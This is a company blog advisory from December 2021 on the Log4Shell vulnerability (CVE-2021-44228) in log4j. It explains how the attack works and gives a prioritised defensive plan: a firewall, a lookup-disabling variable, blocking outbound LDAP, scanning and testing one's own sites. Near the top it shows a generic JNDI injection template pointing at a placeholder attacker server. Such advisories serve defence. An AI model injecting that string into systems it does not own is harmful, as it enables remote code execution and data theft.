This post is about an active exploit : CVE-2021-44228

This article is written on 14th Dec 2021 - do note that the advisory here may be outdated in time, when new variants of the exploit are found.

Uilicious.com itself has fully mitigated the issue on the cloud platform, with no signs of exploitation as of 14th Dec 2021. Enterprise customers should contact your point-of-contact to coordinate updates for your on-premise installations.

If you run any web application, and are clueless on what's happening, you need to sit down and read carefully : This is the worst server vulnerability exploit for 2021.

If you're reading this, and only started to fix things in Jan 2022 - work with the assumption that your servers are compromised.

How does this vulnerability work ?

All you need is to get some version of the following text

${ jndi : <protocall> :// <evil-server-url> }

Into any log output, that is handled by log4j version 2.0 to 2.14.1 (from 2012).

Both log4j, and apache commons logging, are libraries that are popular libraries used in the majority (80%+) of all Java Applications, to manage application logging.

In essence, the exploit involves executing malicious commands in between the β€œ${ }” characters, where the log4j program would substitute its values with the command within.

Such a command could either download and execute any java code, which would allow the attacker to take over your server, mine cryptocurrencies (typically via JNDI), or directly send and leak out sensitive secrets, which can then be used in another attack.

But how would an attacker input such a text string?

Using any HTTP request parameter, or even headers (like the browser name) that you are logging, into a request on your app. Even if they are not logged in.

Why? Because, it is extremely common to log unknown requests and errors into the logs to help fix things - or in this scenario, cause problems.

Why should I worry even if my team doesn't write Java apps, nor use the outdated log4j library

Do not be fooled into thinking you are safe "just because your API is safe". This is just the tip of the iceberg.

This is not just about your java API application, and your team's developers usage of log4j.

It includes the usage of log4j against the various application or code libraries your team depends on, or their nested dependencies. Even if you are not coding in Java, your log monitoring tools (like logstash) may be in java.

It includes any routers programs you may run on your network - where java is extremely common. Servlet hosting applications like tomcat. Your classic enterprise system like SAP. Or that random vendor for an application in your network.

Even the firewall, and security tool programs are vulnerable.Even the software you once thought did not use java, does so under the hood.

You get the idea - the list is long and growing by the day : https://gist.github.com/SwitHak/b66db3a06c2955a9cb71a8718970c592

So yea. - It's safer for you to run on the assumption that everything is vulnerable.


What's the action plan my organization needs?

So now that you and your organization is convinced - whats the next steps? Here is an action plan for you, modify according to your needs.

Immediate action plan (next 48 hours)

1) Get a Web Application Firewall (WAF)
2) Configure the environment variable "LOG4J_FORMAT_MSG_NO_LOOKUPS=true"
3) Block outgoing communication (when possible)

Long term action plan (next 2 months+)

4) Track internally all your application status
5) Test directly to check if your site is affected
6) Scan your packages - to hunt down what has been missed
7) Stay up to date on the #Log4Shell news
8) Make decisions on applications that fall through the cracks
9) Update software as it’s being rolled out
10) Update hardware on the network


Immediate Action Plan (next 48 hours)

Most of the efforts here would be done by the infrastructure team
Managers should help ensure resources & processes are cleared for the infra team.

1) Get a Web Application Firewall (WAF) running in-front of your web app.

If you are reading this now (late), chances are you do not have a dedicated security team. The means to exploit this vulnerability, is mutating and changing on a daily basis. It is going to be impossible for you to keep up, unless you have a dedicated security team.

Go get your infra team to deploy a WAF, if you can't afford it, go use a free one like Cloudflare

While it may not protect you against 100% of all attacks, it would protect you from a good majority of all attacks. This is where you make use of their multi-million dollar security team, to constantly update the firewall pattern on your site for free.

This buys you time against automated attacks. While you get all the other fixes in place. And considering that Cloudflare is free - there really is no excuse not to have a WAF enabled. (We are not affiliated nor sponsored by cloud flare)

2) Configure the environment variable "LOG4J_FORMAT_MSG_NO_LOOKUPS=true"

At the heart of the vulnerability, is the "feature" of log4j to do variable lookup, via the ${} symbols. You can disable this "feature" by configuring the above environment variable across all your environments.

This is significantly easier to manage in docker/kubernetes, as it's a matter of updating the configuration for all your deployments.

Your infra team can help coordinate the configuration of this environment variable system-wide typically under 48 hours.

While this only mitigate the issue for log4J 2.10 (Nov 2017) and above. This should significantly reduce the vulnerability if you had all your vendor application up to date recently.

Note that its not impossible for your vendor application to be using an out of date logging library even if you updated recently. But it does significantly reduces the chances of it happening.

3) Block outgoing communication (when possible)

Note that the following maybe limited by your cloud provider firewall support - and/or you have the budget for it. Do the following, when possible

  • block the LDAP and LDAPS port 389 and 636, and log any attempts
  • block the LDAP protocol on all ports, and log any attempts
  • update any Network Intrusion Detection System in place, to recognize the exploit
  • If you have a Network Intrusion Detection System, consider employing honeypots (warning, this can backfire if not done properly - CTO's please get expert help on this)
Note: as of time of writing, unless your application is isolated from the internet the effectiveness of this approach is questionable. A DNS based exploits to read secret variables are already being observed in the wild. And more novel ways are expected to appear.

We will still however recommend its implementation, to help detect the exploit.
We will also acknowledge that depending on individual setups, the suggestions here may not be possible.

Long Term Action Plan (next 2 months+)

Most of the efforts here should be lead by your "Project Management" team, as it involves multiple stakeholders and points of contact to coordinate.

4) Track internally your application status

Once you have your immediate defenses in place. You should switch over to detecting and fixing affected sites. You should start running a working list within your organization for.

  • Applications that has been confirmed vulnerable
  • Applications that has been confirmed patched
  • Application with uncertain status

This can be a spreadsheet, a task board, or a document. Use whatever suits you.

5) Test directly to check if your site is affected

Note you may need to perform these tests without the WAF firewall

Fortunately (or unfortunately) testing if your site is affected is surprisingly easy. You can use vulnerability testing sites such as : https://log4shell.huntress.com/ to generate a test string, which you can attempt to inject into your site over various forms (such as login) or even to the API directly.

If you have a large number of sites, and would not want to manually test it, shameless plug here - automate it using Uilicious : https://snippet.uilicious.com/test/public/JmcECc2oGwFpgkRHva1ftb

Because the code snippet is time limited, feel free to sign up for a trial, modify the script into an array of sites. And run it.

If any of the attack attempts succeed. You have confirmed the vulnerability.

If the attack failed, assume uncertain status.

6) Scan your packages - to hunt down what has not been fixed

If your are using docker based solution, enable registry scanning on your provider (docker hub, google cloud, etc). If your not using a docker based setup, find alternatives.

Ensure that all deployment images are cleared by your registry.

This will help you keep track on which packages are vulnerable, and which packages are not. Find out for the packages affected, how they are vulnerable

Note because there is a reasonable chance the package included log4j but are not using it, due to the popularity of the project. Use the results as indicators of vulnerability, not conclusions.

Additionally you should not believe your vendor blindly, and only considered them as "patched" only after they update the package.

This process will also help provide you the log4j version deployed on your platform, allowing you to use the environment variable solution as a stop gap measure.

Depending on your risk appetite, you may consider packages to be "clear" if nothing is reported by your registry scanner, and/or found that the application is not java based.

However considering how integrated Apache commons, and log4j can be in surprising places. We would recommend waiting till at least Jan 2022. Where we will have a clearer picture on affected packages, for a more accurate scan and conclusion.

7) Make decisions on the applications that fall through the gaps

Hopefully by this point between immediate updates, and the environment variable disabling, you would only have a small handful of deployments with affected versions ( < 2.10 ) - which will require you to perform the following actions.

  • Contact your vendor (or developer), and see if they are aware of the issue, and how long would an update / fix take.
  • Strongly consider disconnecting it from the internet, and make it VPN only if its business critical. If its easily exploitable.
  • Consider getting a developer, to implement a JAR replacement for log4j
  • Seriously make consideration of dropping the affected applications if you are unable to any of the above within the next few months.

8) Let the updates roll !

Reminder: Its the Christmas & New Year season. Your updates will take a long time to come. So lets do what we can.

It will take time over the next few days as news trickle in to confirm which dependencies, or projects are vulnerable and how. Along with the fixes.

Realize unless you have a perfect (you dun) inventory of all packages in your infrastructure. This will have gaps, which you will need to hunt down with package scanning.

9) Update the hardware on your network

Finally once you cleared your cloud and/or servers. Move on to all the other hardware attached to your network. (Cisco, and Ubiquiti are among the few that already been confirmed)

  • Routers
  • Firewall
  • Switches (especially the "smart" admin panels)
  • Wifi Access points (usually the admin panels)

With the final two, being various versions of hell

  • IoT devices Β 
  • Your employee devices, and their routers
  • Your home router (Yes the one in your home)

Because hardware on your network is case by case specific, start forming a plan with the assumption that devices maybe compromised. And move from there.

~ Stay Safe out there : This too shall pass


The following are extra notes, that may not be relevant to most folks

I'm not an "IT Person" in the company, all this information is lost on me

Check if your IT Security Team, is aware of this issue. If not, use this article, or tell them to google "Log4Shell" - this will get them panicking quickly (hopefully)

What if my boss / superior / client does not take this seriously?

This can come back to bite you, so prepare for the worse.

Send an email, get it in writing, back-up the email (especially if the email server may potentially be vulnerable). You will need your paper trail - that it is not your fault - that your superiors did not let you do your job in helping prevent this. This is to prevent others from blaming you on "not taking action, when you knew about it".

Only after getting your black and white defense - then do you, go up the chain.

Because if you are certain you have vulnerabilities on the platform. Bring it up to the highest level if need to, get the buy in from other technical folks. Or wait for the eventual storm - and defend yourself and what you can. The choice is yours here.